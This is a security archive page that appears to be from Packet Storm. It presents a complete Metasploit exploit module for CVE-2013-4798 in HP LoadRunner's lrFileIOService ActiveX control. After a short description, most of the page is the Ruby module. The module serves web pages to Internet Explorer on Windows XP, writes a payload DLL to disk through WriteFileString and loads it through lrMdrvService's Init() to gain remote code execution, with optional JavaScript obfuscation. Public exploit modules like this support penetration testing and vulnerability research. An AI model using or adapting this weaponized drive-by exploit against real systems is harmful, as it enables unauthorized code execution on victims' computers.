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HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution

HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution
Posted Sep 4, 2013
Authored by juan vazquez, Brian Gorenc | Site metasploit.com

This Metasploit module exploits a vulnerability on the lrFileIOService ActiveX, as installed with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method, which allow the user to write arbitrary files. It's abused to drop a payload embedded in a dll, which is later loaded through the Init() method from the lrMdrvService control, by abusing an insecure LoadLibrary call. This Metasploit module has been tested successfully on IE8 on Windows XP. Virtualization based on the Low Integrity Process, on Windows Vista and 7, will stop this module because the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary.

tags | exploit, arbitrary, activex
systems | windows, xp, vista
advisories | CVE-2013-4798, OSVDB-95642
MD5 | 5f7630ca27a1c56598761f3e375ec40d

HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::EXE

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:os_ver => OperatingSystems::WindowsVersions::XP,
:rank => NormalRanking,
:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
:method => "WriteFileString "
})

def initialize(info={})
super(update_info(info,
'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,
which allow the user to write arbitrary files. It's abused to drop a payload
embedded in a dll, which is later loaded through the Init() method from the
lrMdrvService control, by abusing an insecure LoadLibrary call. This module has
been tested successfully on IE8 on Windows XP. Virtualization based on the Low
Integrity Process, on Windows Vista and 7, will stop this module because the DLL
will be dropped to a virtualized folder, which isn't used by LoadLibrary.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brian Gorenc', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-4798' ],
[ 'OSVDB', '95642' ],
[ 'BID', '61443'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ],
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic IE on Windows XP', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Jul 24 2013",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

# Just reminding the user to delete LrWeb2MdrvLoader.dll
# because migration and killing the exploited process is
# needed
def on_new_session(session)
print_status("New session... remember to delete LrWeb2MdrvLoader.dll")
end

def is_target?(agent)
if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/
return true
end

return false
end

def create_dll_js(object_id, dll_data)
dll_js = ""
first = true
dll_data.each_char { |chunk|
if first
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n"
first = false
else
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n"
end
}
return dll_js
end

def load_exploit_html(cli)
return nil if ((p = regenerate_payload(cli)) == nil)

file_io = rand_text_alpha(rand(10) + 8)
mdrv_service = rand_text_alpha(rand(10) + 8)
dll_data = generate_payload_dll({ :code => p.encoded })
drop_dll_js = create_dll_js(file_io, dll_data)

html = %Q|
<html>
<body>
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{file_io}'></object>
<object classid='clsid:9EE336F8-04B7-4B9F-8421-B982E7A4785C' id='#{mdrv_service}'></object>
<script language='javascript'>
#{drop_dll_js}
#{mdrv_service}.Init("-f #{rand_text_alpha(8 + rand(8))}", "#{rand_text_alpha(8 + rand(8))}");
</script>
</body>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

# Avoid the attack if no suitable target found
if not is_target?(agent)
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(cli)
if html.nil?
send_not_found(cli)
return
end
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

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